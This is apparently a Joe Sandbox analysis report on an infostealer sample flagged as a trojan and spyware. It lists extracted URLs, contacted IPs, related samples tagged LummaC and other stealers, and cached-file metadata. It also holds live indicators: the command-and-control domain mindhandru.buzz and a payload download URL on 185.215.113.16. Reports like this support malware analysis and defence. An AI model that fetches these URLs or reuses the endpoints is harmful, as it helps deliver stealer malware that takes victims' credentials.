https://duckduckgo.com/chrome_newtab	CAo57G5Cio.exe, 00000000.00000003.1354607106.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1354545959.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1354684234.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/MSWznTY69wwRW38B95	CAo57G5Cio.exe, 00000000.00000003.1438476066.00000000059E1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	CAo57G5Cio.exe, 00000000.00000003.1354607106.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1354545959.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1354684234.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/1	CAo57G5Cio.exe, 00000000.00000003.1606998403.000000000133A000.00000004.00000020.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1638822368.0000000001345000.00000004.00000020.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1638689895.000000000133A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_96.7.dr	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_95.7.dr, chromecache_116.7.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	CAo57G5Cio.exe, 00000000.00000003.1354607106.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1354545959.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1354684234.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_96.7.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_95.7.dr, chromecache_116.7.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_95.7.dr, chromecache_116.7.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_116.7.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_95.7.dr, chromecache_116.7.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_96.7.dr	false		high
https://mindhandru.buzz/api~	CAo57G5Cio.exe, 00000000.00000003.1608560210.00000000012E2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_95.7.dr, chromecache_116.7.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_96.7.dr	false		high
http://x1.c.lencr.org/0	CAo57G5Cio.exe, 00000000.00000003.1411807572.0000000005A20000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	CAo57G5Cio.exe, 00000000.00000003.1411807572.0000000005A20000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_95.7.dr, chromecache_116.7.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_96.7.dr, chromecache_81.7.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	CAo57G5Cio.exe, 00000000.00000003.1354607106.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1354545959.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1354684234.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exeu	CAo57G5Cio.exe, 00000000.00000003.1606998403.000000000133A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://learn-video.azurefd.net/vod/player	chromecache_95.7.dr, chromecache_116.7.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_95.7.dr, chromecache_116.7.dr	false		high
https://github.com/gewarren	chromecache_96.7.dr	false		high
https://support.mozilla.org/products/firefoxgro.all	CAo57G5Cio.exe, 00000000.00000003.1412889477.0000000005B01000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_95.7.dr, chromecache_116.7.dr	false		high
https://mindhandru.buzz/apiPcG3	CAo57G5Cio.exe, 00000000.00000003.1411629292.00000000059E1000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1411996809.00000000059E1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_96.7.dr	false		high
http://185.215.113.16/off/def.exeeWebKit/537.36	CAo57G5Cio.exe, 00000000.00000002.1711872248.00000000009EA000.00000004.00000010.00020000.00000000.sdmp	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_96.7.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_95.7.dr, chromecache_116.7.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_95.7.dr, chromecache_116.7.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_95.7.dr, chromecache_116.7.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	CAo57G5Cio.exe, 00000000.00000003.1354607106.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1354545959.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1354684234.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_96.7.dr	false		high
http://polymer.github.io/PATENTS.txt	chromecache_95.7.dr, chromecache_116.7.dr	false		high
https://mindhandru.buzz/v	CAo57G5Cio.exe, 00000000.00000003.1377012632.00000000059E9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://aka.ms/certhelp	chromecache_95.7.dr, chromecache_116.7.dr	false		high
https://mindhandru.buzz/	CAo57G5Cio.exe, 00000000.00000003.1606998403.000000000133A000.00000004.00000020.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1638822368.0000000001345000.00000004.00000020.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1387582485.00000000059E9000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1638689895.000000000133A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	CAo57G5Cio.exe, 00000000.00000003.1354607106.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1354545959.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1354684234.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	CAo57G5Cio.exe, 00000000.00000003.1411807572.0000000005A20000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_96.7.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	CAo57G5Cio.exe, 00000000.00000003.1411807572.0000000005A20000.00000004.00000800.00020000.00000000.sdmp	false		high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	chromecache_96.7.dr	false		high
https://schema.org	chromecache_116.7.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_95.7.dr, chromecache_116.7.dr	false		high
https://mindhandru.buzz/a	CAo57G5Cio.exe, 00000000.00000003.1465803258.0000000001347000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	CAo57G5Cio.exe, 00000000.00000003.1354607106.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1354545959.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1354684234.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	CAo57G5Cio.exe, 00000000.00000003.1412889477.0000000005B01000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_96.7.dr	false		high
https://mindhandru.buzz/apit	CAo57G5Cio.exe, 00000000.00000003.1377012632.00000000059E9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	CAo57G5Cio.exe, 00000000.00000003.1354607106.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1354545959.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1354684234.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_96.7.dr	false		high
http://185.215.113.16/	CAo57G5Cio.exe, 00000000.00000003.1606998403.000000000133A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_95.7.dr, chromecache_116.7.dr	false		high
https://github.com/adegeo	chromecache_96.7.dr	false		high
http://crl.micro	CAo57G5Cio.exe, 00000000.00000003.1490640919.000000000130F000.00000004.00000020.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1606998403.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_95.7.dr, chromecache_116.7.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	CAo57G5Cio.exe, 00000000.00000003.1411807572.0000000005A20000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_95.7.dr, chromecache_116.7.dr	false		high
https://github.com/js-cookie/js-cookie	chromecache_95.7.dr, chromecache_116.7.dr	false		high
http://185.215.113.16/off/def.exe-	CAo57G5Cio.exe, 00000000.00000002.1714823927.00000000012C6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/off/def.exe	CAo57G5Cio.exe, 00000000.00000002.1714823927.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1606998403.000000000133A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_96.7.dr	false		high
http://185.215.113.16/off/def.exe/	CAo57G5Cio.exe, 00000000.00000003.1606998403.000000000133A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mindhandru.buzz/apiU	CAo57G5Cio.exe, 00000000.00000003.1437884501.00000000059E8000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1437950868.00000000059EE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16:80/off/def.exe5	CAo57G5Cio.exe, 00000000.00000003.1606903883.000000000135D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://channel9.msdn.com/	chromecache_95.7.dr, chromecache_116.7.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	CAo57G5Cio.exe, 00000000.00000003.1354607106.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1354545959.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1354684234.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_95.7.dr, chromecache_116.7.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.165.185	mindhandru.buzz	United States	13335	CLOUDFLARENETUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.7

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581240
Start date and time:	2024-12-27 08:58:56 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	CAo57G5Cio.exe renamed because original name is a hash value
Original Sample Name:	cdcaa653fe18f53e5fbbca4d7a02c6bc.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/64@9/5
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 13
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.32.238.200, 23.193.114.26, 23.218.210.69, 64.233.161.84, 172.217.19.238, 172.217.19.227, 184.30.22.94, 142.250.181.142, 20.42.73.26, 142.250.181.10, 216.58.208.234, 142.250.181.42, 142.250.181.74, 172.217.19.234, 172.217.19.170, 142.250.181.138, 172.217.17.74, 142.250.181.106, 172.217.19.202, 172.217.17.42, 172.217.21.42, 172.217.17.46, 2.19.198.56, 23.32.238.130, 23.32.238.211, 13.74.129.1, 13.107.21.237, 204.79.197.237, 172.217.17.35, 13.107.246.63, 52.149.20.212, 23.218.208.109
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, time.windows.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, redirector.gvt1.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, onedscolprdeus09.eastus.cloudapp.azure.com, update.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, dual-a-0034.a-msedge.net, clients.l.google.com, c1.microsoft.com, wcps
Execution Graph export aborted for target CAo57G5Cio.exe, PID 6188 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:00:00	API Interceptor	55x Sleep call for process: CAo57G5Cio.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=CAo57G5Cio.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=CAo57G5Cio.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=CAo57G5Cio.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=CAo57G5Cio.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse
	DRWgoZo325.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, Vidar	Browse
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse
	aD7D9fkpII.exe	Get hash	malicious	Vidar	Browse
	http://www.finanzamthessen.de	Get hash	malicious	Unknown	Browse
	installer.bat	Get hash	malicious	Vidar	Browse
	skript.bat	Get hash	malicious	Vidar	Browse
	din.exe	Get hash	malicious	Vidar	Browse
	yoda.exe	Get hash	malicious	Vidar	Browse
	lem.exe	Get hash	malicious	Vidar	Browse
172.67.165.185	fer4JIJGeL.exe	Get hash	malicious	LummaC	Browse
	AaEBZ7icLd.exe	Get hash	malicious	LummaC	Browse
	wJtkC63Spw.exe	Get hash	malicious	LummaC	Browse
	cFLK1CiiNK.exe	Get hash	malicious	LummaC	Browse
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse
	PH1D3KHmOD.exe	Get hash	malicious	LummaC	Browse
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	zi042476Iv.exe	Get hash	malicious	LummaC	Browse
	U7TAniYFeK.exe	Get hash	malicious	LummaC	Browse
185.215.113.16	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.16/steam/random.exe
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	pVbAZEFIpI.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	GxX48twWHA.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	ERTL09tA59.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0035.t-0009.t-msedge.net	wJtkC63Spw.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	qZA8AyGxiA.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	60Zxcx88Uv.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	1fi2LiofgW.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	zi042476Iv.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	54861 Proforma Invoice AMC2273745.xlam.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.63
	TAX INVOICE - NBO2506000632.xlam.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.63
	installer.bat	Get hash	malicious	Vidar	Browse	13.107.246.63
mindhandru.buzz	fer4JIJGeL.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	AaEBZ7icLd.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	wJtkC63Spw.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	cFLK1CiiNK.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	104.21.11.101
	ARoqFi68Nr.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	PH1D3KHmOD.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	172.67.165.185

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	fer4JIJGeL.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	AaEBZ7icLd.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	wJtkC63Spw.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	cFLK1CiiNK.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	104.21.11.101
	ARoqFi68Nr.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	DRWgoZo325.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, Vidar	Browse	104.21.11.101
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	PH1D3KHmOD.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
WHOLESALECONNECTIONSNL	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.16
	DRWgoZo325.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	pVbAZEFIpI.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	GxX48twWHA.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	ERTL09tA59.exe	Get hash	malicious	LummaC	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	fer4JIJGeL.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	AaEBZ7icLd.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	wJtkC63Spw.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	cFLK1CiiNK.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	172.67.165.185
	ARoqFi68Nr.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	PH1D3KHmOD.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	172.67.165.185

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	high, very likely benign file
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	dropped
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
